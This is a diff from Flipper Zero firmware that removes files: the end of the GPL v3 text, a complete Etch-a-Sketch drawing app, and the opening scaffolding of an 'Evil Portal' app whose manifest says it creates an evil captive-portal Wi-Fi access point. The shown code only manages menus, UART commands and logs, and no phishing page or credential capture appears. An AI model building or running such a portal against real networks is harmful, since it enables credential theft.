You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<https://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||
@@ -1,16 +0,0 @@
|
||||
App(
|
||||
appid="etch",
|
||||
name="Etch a Sketch",
|
||||
apptype=FlipperAppType.EXTERNAL,
|
||||
entry_point="etch_a_sketch_app",
|
||||
cdefines=["APP_ETCH_A_SKETCH"],
|
||||
requires=["gui"],
|
||||
stack_size=2 * 1024,
|
||||
fap_icon="etch-a-sketch-icon.png",
|
||||
fap_category="Media",
|
||||
fap_icon_assets="assets",
|
||||
fap_author="@SimplyMinimal",
|
||||
fap_weburl="https://github.com/SimplyMinimal/FlipperZero-Etch-A-Sketch",
|
||||
fap_version="1.0",
|
||||
fap_description="Turn the Flipper Zero into an Etch A Sketch",
|
||||
)
|
||||
|
Before Width: | Height: | Size: 239 B |
275
applications/external/etch_a_sketch/etch_a_sketch.c
vendored
@@ -1,275 +0,0 @@
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
#include <gui/gui.h>
|
||||
#include <gui/elements.h>
|
||||
#include <gui/icon.h>
|
||||
#include <input/input.h>
|
||||
#include <notification/notification.h>
|
||||
#include <notification/notification_messages.h>
|
||||
#include <stdbool.h> // Header-file for boolean data-type.
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include "etch_icons.h"
|
||||
#include <assets_icons.h>
|
||||
|
||||
#define WIDTH 64
|
||||
#define HEIGHT 32
|
||||
|
||||
const int brush_size = 2;
|
||||
|
||||
typedef struct selected_position {
|
||||
int x;
|
||||
int y;
|
||||
} selected_position;
|
||||
|
||||
typedef struct {
|
||||
FuriMutex* mutex;
|
||||
selected_position selected;
|
||||
bool board[64][32];
|
||||
bool isDrawing;
|
||||
bool showWelcome;
|
||||
} EtchData;
|
||||
|
||||
// Sequence to indicate that drawing is enabled.
|
||||
const NotificationSequence sequence_begin_draw = {
|
||||
&message_display_backlight_on,
|
||||
|
||||
// Vibrate to indicate that drawing is enabled.
|
||||
&message_vibro_on,
|
||||
&message_note_g5,
|
||||
&message_delay_50,
|
||||
&message_note_c6,
|
||||
&message_delay_50,
|
||||
&message_note_e5,
|
||||
&message_vibro_off,
|
||||
&message_sound_off,
|
||||
NULL,
|
||||
};
|
||||
|
||||
// sequence to indicate that drawing is disabled
|
||||
const NotificationSequence sequence_end_draw = {
|
||||
&message_red_0,
|
||||
// Indicate that drawing is disabled.
|
||||
&message_vibro_on,
|
||||
&message_note_g5,
|
||||
&message_delay_50,
|
||||
&message_note_e5,
|
||||
&message_delay_50,
|
||||
&message_vibro_off,
|
||||
&message_sound_off,
|
||||
&message_do_not_reset,
|
||||
NULL,
|
||||
};
|
||||
|
||||
// Indicate that drawing is enabled.
|
||||
const NotificationSequence sequence_draw_enabled = {
|
||||
&message_red_255,
|
||||
&message_do_not_reset,
|
||||
NULL,
|
||||
};
|
||||
|
||||
// Indicate that drawing is disabled.
|
||||
const NotificationSequence sequence_draw_disabled = {
|
||||
&message_red_0,
|
||||
&message_do_not_reset,
|
||||
NULL,
|
||||
};
|
||||
|
||||
const NotificationSequence sequence_cleanup = {
|
||||
&message_red_0,
|
||||
&message_green_0,
|
||||
&message_blue_0,
|
||||
&message_sound_off,
|
||||
&message_vibro_off,
|
||||
NULL,
|
||||
};
|
||||
|
||||
void etch_draw_callback(Canvas* canvas, void* ctx) {
|
||||
furi_assert(ctx);
|
||||
const EtchData* etch_state = ctx;
|
||||
furi_mutex_acquire(etch_state->mutex, FuriWaitForever);
|
||||
|
||||
canvas_clear(canvas);
|
||||
|
||||
// Show Welcome Message
|
||||
if(etch_state->showWelcome) {
|
||||
// Draw Etch A Sketch frame
|
||||
canvas_draw_frame(canvas, 5, 3, 119, 55); // Border
|
||||
canvas_draw_icon(canvas, 8, 50, &I_Ok_btn_pressed_13x13); // Left Knob
|
||||
canvas_draw_icon(canvas, 107, 50, &I_Ok_btn_pressed_13x13); // Right Knob
|
||||
|
||||
// Draw Etch A Sketch text banner
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
canvas_draw_str(canvas, 36, 15, "Etch A Sketch");
|
||||
|
||||
// Draw Etch A Sketch instructions "Hold Back to clear"
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
canvas_draw_str(canvas, 31, 26, "* Hold ");
|
||||
canvas_draw_icon(canvas, 59, 18, &I_Pin_back_arrow_10x8);
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
canvas_draw_str(canvas, 72, 26, "to clear");
|
||||
|
||||
// Draw Etch A Sketch instructions "Hold OK button to draw"
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
canvas_draw_str(canvas, 31, 37, "* Hold");
|
||||
canvas_draw_icon(canvas, 61, 30, &I_ButtonCenter_7x7);
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
canvas_draw_str(canvas, 72, 37, "to draw");
|
||||
}
|
||||
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
//draw the canvas(64x32) on screen(144x64) using brush_size*brush_size tiles
|
||||
for(int y = 0; y < 32; y++) {
|
||||
for(int x = 0; x < 64; x++) {
|
||||
if(etch_state->board[x][y]) {
|
||||
canvas_draw_box(canvas, x * brush_size, y * brush_size, 2, 2);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//draw cursor as a brush_size by brush_size black box
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
canvas_draw_box(
|
||||
canvas,
|
||||
etch_state->selected.x * brush_size,
|
||||
etch_state->selected.y * brush_size,
|
||||
brush_size,
|
||||
brush_size);
|
||||
|
||||
//release the mutex
|
||||
furi_mutex_release(etch_state->mutex);
|
||||
}
|
||||
|
||||
void etch_input_callback(InputEvent* input_event, void* ctx) {
|
||||
furi_assert(ctx);
|
||||
FuriMessageQueue* event_queue = ctx;
|
||||
furi_message_queue_put(event_queue, input_event, FuriWaitForever);
|
||||
}
|
||||
|
||||
int32_t etch_a_sketch_app(void* p) {
|
||||
UNUSED(p);
|
||||
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
|
||||
|
||||
EtchData* etch_state = malloc(sizeof(EtchData));
|
||||
etch_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal);
|
||||
if(!etch_state->mutex) {
|
||||
FURI_LOG_E("etch", "cannot create mutex\r\n");
|
||||
free(etch_state);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Configure view port
|
||||
ViewPort* view_port = view_port_alloc();
|
||||
view_port_draw_callback_set(view_port, etch_draw_callback, etch_state);
|
||||
view_port_input_callback_set(view_port, etch_input_callback, event_queue);
|
||||
|
||||
// Register view port in GUI
|
||||
Gui* gui = furi_record_open(RECORD_GUI);
|
||||
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
|
||||
|
||||
NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION);
|
||||
|
||||
InputEvent event;
|
||||
|
||||
// Show Welcome Banner
|
||||
etch_state->showWelcome = true;
|
||||
|
||||
while(furi_message_queue_get(event_queue, &event, FuriWaitForever) == FuriStatusOk) {
|
||||
//break out of the loop if the back key is pressed
|
||||
if(event.key == InputKeyBack && event.type == InputTypeShort) {
|
||||
break;
|
||||
}
|
||||
|
||||
// Clear
|
||||
// TODO: Do animation of shaking board
|
||||
if(event.key == InputKeyBack && event.type == InputTypeLong) {
|
||||
etch_state->showWelcome = false;
|
||||
etch_state->board[1][1] = true;
|
||||
for(int y = 0; y < 32; y++) {
|
||||
for(int x = 0; x < 64; x++) {
|
||||
etch_state->board[x][y] = false;
|
||||
}
|
||||
}
|
||||
view_port_update(view_port);
|
||||
}
|
||||
|
||||
// Keep LED on while drawing
|
||||
if(etch_state->isDrawing) {
|
||||
notification_message(notification, &sequence_draw_enabled);
|
||||
} else {
|
||||
notification_message(notification, &sequence_draw_disabled);
|
||||
}
|
||||
|
||||
// Single Dot Select
|
||||
if(event.key == InputKeyOk && event.type == InputTypeShort) {
|
||||
etch_state->board[etch_state->selected.x][etch_state->selected.y] =
|
||||
!etch_state->board[etch_state->selected.x][etch_state->selected.y];
|
||||
}
|
||||
|
||||
// Start Drawing
|
||||
if(event.key == InputKeyOk && event.type == InputTypeLong) {
|
||||
// notification_message(furi_record_open(RECORD_NOTIFICATION), &sequence_begin_draw);
|
||||
notification_message(notification, &sequence_begin_draw);
|
||||
|
||||
if(etch_state->isDrawing) {
|
||||
// We're ending the drawing
|
||||
notification_message(notification, &sequence_end_draw);
|
||||
}
|
||||
|
||||
etch_state->isDrawing = !etch_state->isDrawing;
|
||||
etch_state->board[etch_state->selected.x][etch_state->selected.y] = true;
|
||||
|
||||
view_port_update(view_port);
|
||||
}
|
||||
|
||||
//check the key pressed and change x and y accordingly
|
||||
if(event.type == InputTypeShort || event.type == InputTypeRepeat ||
|
||||
event.type == InputTypeLong) {
|
||||
switch(event.key) {
|
||||
case InputKeyUp:
|
||||
etch_state->selected.y -= 1;
|
||||
break;
|
||||
case InputKeyDown:
|
||||
etch_state->selected.y += 1;
|
||||
break;
|
||||
case InputKeyLeft:
|
||||
etch_state->selected.x -= 1;
|
||||
break;
|
||||
case InputKeyRight:
|
||||
etch_state->selected.x += 1;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
//check if cursor position is out of bounds and reset it to the closest position
|
||||
if(etch_state->selected.x < 0) {
|
||||
etch_state->selected.x = 0;
|
||||
}
|
||||
if(etch_state->selected.x > 61) {
|
||||
etch_state->selected.x = 61;
|
||||
}
|
||||
if(etch_state->selected.y < 0) {
|
||||
etch_state->selected.y = 0;
|
||||
}
|
||||
if(etch_state->selected.y > 31) {
|
||||
etch_state->selected.y = 31;
|
||||
}
|
||||
if(etch_state->isDrawing == true) {
|
||||
etch_state->board[etch_state->selected.x][etch_state->selected.y] = true;
|
||||
}
|
||||
view_port_update(view_port);
|
||||
}
|
||||
}
|
||||
|
||||
notification_message(notification, &sequence_cleanup);
|
||||
gui_remove_view_port(gui, view_port);
|
||||
view_port_free(view_port);
|
||||
furi_mutex_free(etch_state->mutex);
|
||||
furi_message_queue_free(event_queue);
|
||||
furi_record_close(RECORD_NOTIFICATION);
|
||||
furi_record_close(RECORD_GUI);
|
||||
free(etch_state);
|
||||
|
||||
return 0;
|
||||
}
|
||||
21
applications/external/evil_portal/LICENSE.txt
vendored
@@ -1,21 +0,0 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2023 bigbrodude6119
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -1,14 +0,0 @@
|
||||
App(
|
||||
appid="evil_portal",
|
||||
name="[ESP32] Evil Portal",
|
||||
apptype=FlipperAppType.EXTERNAL,
|
||||
entry_point="evil_portal_app",
|
||||
cdefines=["APP_EVIL_PORTAL"],
|
||||
requires=["gui"],
|
||||
stack_size=1 * 1024,
|
||||
fap_author="bigbrodude6119",
|
||||
fap_description="Create an evil captive portal Wi-Fi access point",
|
||||
fap_icon_assets="icons",
|
||||
fap_icon="icons/evil_portal_10px.png",
|
||||
fap_category="WiFi",
|
||||
)
|
||||
146
applications/external/evil_portal/evil_portal_app.c
vendored
@@ -1,146 +0,0 @@
|
||||
#include "evil_portal_app_i.h"
|
||||
#include "helpers/evil_portal_storage.h"
|
||||
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
|
||||
static bool evil_portal_app_custom_event_callback(void* context, uint32_t event) {
|
||||
furi_assert(context);
|
||||
Evil_PortalApp* app = context;
|
||||
return scene_manager_handle_custom_event(app->scene_manager, event);
|
||||
}
|
||||
|
||||
static bool evil_portal_app_back_event_callback(void* context) {
|
||||
furi_assert(context);
|
||||
Evil_PortalApp* app = context;
|
||||
return scene_manager_handle_back_event(app->scene_manager);
|
||||
}
|
||||
|
||||
static void evil_portal_app_tick_event_callback(void* context) {
|
||||
furi_assert(context);
|
||||
Evil_PortalApp* app = context;
|
||||
scene_manager_handle_tick_event(app->scene_manager);
|
||||
}
|
||||
|
||||
Evil_PortalApp* evil_portal_app_alloc() {
|
||||
Evil_PortalApp* app = malloc(sizeof(Evil_PortalApp));
|
||||
|
||||
app->sent_html = false;
|
||||
app->sent_ap = false;
|
||||
app->sent_reset = false;
|
||||
app->has_command_queue = false;
|
||||
app->command_index = 0;
|
||||
app->portal_logs = furi_string_alloc();
|
||||
|
||||
app->dialogs = furi_record_open(RECORD_DIALOGS);
|
||||
app->file_path = furi_string_alloc();
|
||||
|
||||
app->gui = furi_record_open(RECORD_GUI);
|
||||
|
||||
app->view_dispatcher = view_dispatcher_alloc();
|
||||
|
||||
app->loading = loading_alloc();
|
||||
|
||||
app->scene_manager = scene_manager_alloc(&evil_portal_scene_handlers, app);
|
||||
view_dispatcher_enable_queue(app->view_dispatcher);
|
||||
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
|
||||
|
||||
view_dispatcher_set_custom_event_callback(
|
||||
app->view_dispatcher, evil_portal_app_custom_event_callback);
|
||||
view_dispatcher_set_navigation_event_callback(
|
||||
app->view_dispatcher, evil_portal_app_back_event_callback);
|
||||
view_dispatcher_set_tick_event_callback(
|
||||
app->view_dispatcher, evil_portal_app_tick_event_callback, 100);
|
||||
|
||||
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
|
||||
|
||||
app->view_stack = view_stack_alloc();
|
||||
|
||||
app->var_item_list = variable_item_list_alloc();
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher,
|
||||
Evil_PortalAppViewVarItemList,
|
||||
variable_item_list_get_view(app->var_item_list));
|
||||
|
||||
app->text_input = text_input_alloc();
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher, Evil_PortalAppViewTextInput, text_input_get_view(app->text_input));
|
||||
|
||||
for(int i = 0; i < NUM_MENU_ITEMS; ++i) {
|
||||
app->selected_option_index[i] = 0;
|
||||
}
|
||||
|
||||
app->text_box = text_box_alloc();
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher, Evil_PortalAppViewConsoleOutput, text_box_get_view(app->text_box));
|
||||
app->text_box_store = furi_string_alloc();
|
||||
furi_string_reserve(app->text_box_store, EVIL_PORTAL_TEXT_BOX_STORE_SIZE);
|
||||
|
||||
scene_manager_next_scene(app->scene_manager, Evil_PortalSceneStart);
|
||||
|
||||
return app;
|
||||
}
|
||||
|
||||
void evil_portal_app_free(Evil_PortalApp* app) {
|
||||
// save latest logs
|
||||
if(furi_string_utf8_length(app->portal_logs) > 0) {
|
||||
write_logs(app->portal_logs);
|
||||
furi_string_free(app->portal_logs);
|
||||
}
|
||||
|
||||
// Send reset event to dev board
|
||||
evil_portal_uart_tx((uint8_t*)(RESET_CMD), strlen(RESET_CMD));
|
||||
evil_portal_uart_tx((uint8_t*)("\n"), 1);
|
||||
|
||||
furi_assert(app);
|
||||
|
||||
// Views
|
||||
view_dispatcher_remove_view(app->view_dispatcher, Evil_PortalAppViewVarItemList);
|
||||
view_dispatcher_remove_view(app->view_dispatcher, Evil_PortalAppViewConsoleOutput);
|
||||
|
||||
text_box_free(app->text_box);
|
||||
furi_string_free(app->text_box_store);
|
||||
text_input_free(app->text_input);
|
||||
|
||||
view_stack_free(app->view_stack);
|
||||
loading_free(app->loading);
|
||||
|
||||
// View dispatcher
|
||||
view_dispatcher_free(app->view_dispatcher);
|
||||
scene_manager_free(app->scene_manager);
|
||||
|
||||
evil_portal_uart_free(app->uart);
|
||||
|
||||
// Close records
|
||||
furi_record_close(RECORD_GUI);
|
||||
|
||||
furi_record_close(RECORD_DIALOGS);
|
||||
furi_string_free(app->file_path);
|
||||
|
||||
free(app);
|
||||
}
|
||||
|
||||
int32_t evil_portal_app(void* p) {
|
||||
UNUSED(p);
|
||||
Evil_PortalApp* evil_portal_app = evil_portal_app_alloc();
|
||||
|
||||
uint8_t attempts = 0;
|
||||
bool otg_was_enabled = furi_hal_power_is_otg_enabled();
|
||||
while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
|
||||
furi_hal_power_enable_otg();
|
||||
furi_delay_ms(10);
|
||||
}
|
||||
furi_delay_ms(200);
|
||||
|
||||
evil_portal_app->uart = evil_portal_uart_init(evil_portal_app);
|
||||
|
||||
view_dispatcher_run(evil_portal_app->view_dispatcher);
|
||||
|
||||
evil_portal_app_free(evil_portal_app);
|
||||
|
||||
if(furi_hal_power_is_otg_enabled() && !otg_was_enabled) {
|
||||
furi_hal_power_disable_otg();
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -1,11 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef struct Evil_PortalApp Evil_PortalApp;
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -1,77 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include "evil_portal_app.h"
|
||||
#include "evil_portal_custom_event.h"
|
||||
#include "evil_portal_uart.h"
|
||||
